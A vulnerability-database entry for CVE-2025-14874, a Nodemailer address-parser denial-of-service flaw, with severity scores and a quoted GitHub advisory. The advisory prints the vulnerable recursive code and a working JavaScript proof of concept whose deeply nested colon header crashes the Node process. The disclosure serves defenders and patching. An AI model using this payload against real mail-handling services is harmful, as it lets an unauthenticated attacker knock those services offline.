CVE-2025-14874

highpriority · track · 0EPSS 0.006 · 46 %ileDEEUUS
grimoire priorityP2 · Scheduled
Exploitable?
—
no known exploitation
Likely / severe?
0.56% (46th) EPSS
CVSS 7.5 · high
Is it mine?
9 products
Check your exposure
Who says so?
5 sources
cnnvd · enisa_euvd · cert_bund · nvd

EPSS · scored 2026-10-22

A flaw was found in Nodemailer. This vulnerability allows a denial of service (DoS) via a crafted email address header that triggers infinite recursion in the address parser.

01

cvss

Technical severity, 0–10. One row per scoring source.

7.5
010

base score 0–10 · higher = more severe · hover a vector to decode

v3.17.5highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:Hsecondary · NVD / NIST USexploitability 3.9 · impact 3.6
v3.17.5highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:Hsecondary · ENISA EU
v3.17.5highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:Hsecondary · secalert@redhat.com USexploitability 3.9 · impact 3.6
v3.17.5highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:Hsecondary · OSV
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: poc · Automatable: yes · Technical Impact: partialcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

affected products (9)

Products and version ranges known to be affected.

05

advisories (2)

Vendor and ecosystem advisories describing this.

  • WID-SEC-W-2026-0759IBM Planning Analytics: Mehrere SchwachstellenDeutsch2026-03-17csaf · cert_bundDE

    Ein Angreifer kann mehrere Schwachstellen in IBM Planning Analytics ausnutzen, um einen Denial of Service Angriff durchzuführen, um Informationen offenzulegen, und um Sicherheitsvorkehrungen zu umgehen.

  • GHSA-rcmh-qjqh-p98vNodemailer’s addressparser is vulnerable to DoS caused by recursive calls2025-12-01ghsa · osvUS

    ### Summary A DoS can occur that immediately halts the system due to the use of an unsafe function. ### Details According to **RFC 5322**, nested group structures (a group inside another group) are not allowed. Therefore, in lib/addressparser/index.js, the email address parser performs flattening when nested groups appear, since such input is likely to be abnormal. (If the address is valid, it is added as-is.) In other words, the parser flattens all nested groups and inserts them into the final group list. However, the code implemented for this flattening process can be exploited by malicious input and triggers DoS RFC 5322 uses a colon (:) to define a group, and commas (,) are used to separate members within a group. At the following location in lib/addressparser/index.js: https://github.com/nodemailer/nodemailer/blob/master/lib/addressparser/index.js#L90 there is code that performs this flattening. The issue occurs when the email address parser attempts to process the following kind of malicious address header: ```g0: g1: g2: g3: ... gN: victim@example.com;``` Because no recursion depth limit is enforced, the parser repeatedly invokes itself in the pattern `addressparser → _handleAddress → addressparser → ...` for each nested group. As a result, when an attacker sends a header containing many colons, Nodemailer enters infinite recursion, eventually throwing Maximum call stack size exceeded and causing the process to terminate immediately. Due to the structure of this behavior, no authentication is required, and a single request is enough to shut down the service. The problematic code section is as follows: ```js if (isGroup) { ... if (data.group.length) { let parsedGroup = addressparser(data.group.join(',')); // <- boom! parsedGroup.forEach(member => { if (member.group) { groupMembers = groupMembers.concat(member.group); } else { groupMembers.push(member); } }); } } ``` `data.group` is expected to contain members separated by commas, but in the attacker’s payload the group contains colon `(:)` tokens. Because of this, the parser repeatedly triggers recursive calls for each colon, proportional to their number. ### PoC ``` const nodemailer = require('nodemailer'); function buildDeepGroup(depth) { let parts = []; for (let i = 0; i < depth; i++) { parts.push(`g${i}:`); } return parts.join(' ') + ' user@example.com;'; } const DEPTH = 3000; // <- control depth const toHeader = buildDeepGroup(DEPTH); console.log('to header length:', toHeader.length); const transporter = nodemailer.createTransport({ streamTransport: true, buffer: true, newline: 'unix' }); console.log('parsing start'); transporter.sendMail( { from: 'test@example.com', to: toHeader, subject: 'test', text: 'test' }, (err, info) => { if (err) { console.error('error:', err); } else { console.log('finished :', info && info.envelope); } } ); ``` As a result, when the colon is repeated beyond a certain threshold, the Node.js process terminates immediately. ### Impact The attacker can achieve the following: 1. Force an immediate crash of any server/service that uses Nodemailer 2. Kill the backend process with a single web request 3. In environments using PM2/Forever, trigger a continuous restart loop, causing severe resource exhaustion”

06

also known as (4)

Other names and identifiers for this entity.

07

sources

Which sources assert this record, and when.

published 2025-12-18modified 2026-06-17
08

references (16)

External citations — patches, advisories, analysis.

scry

Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.

Free scan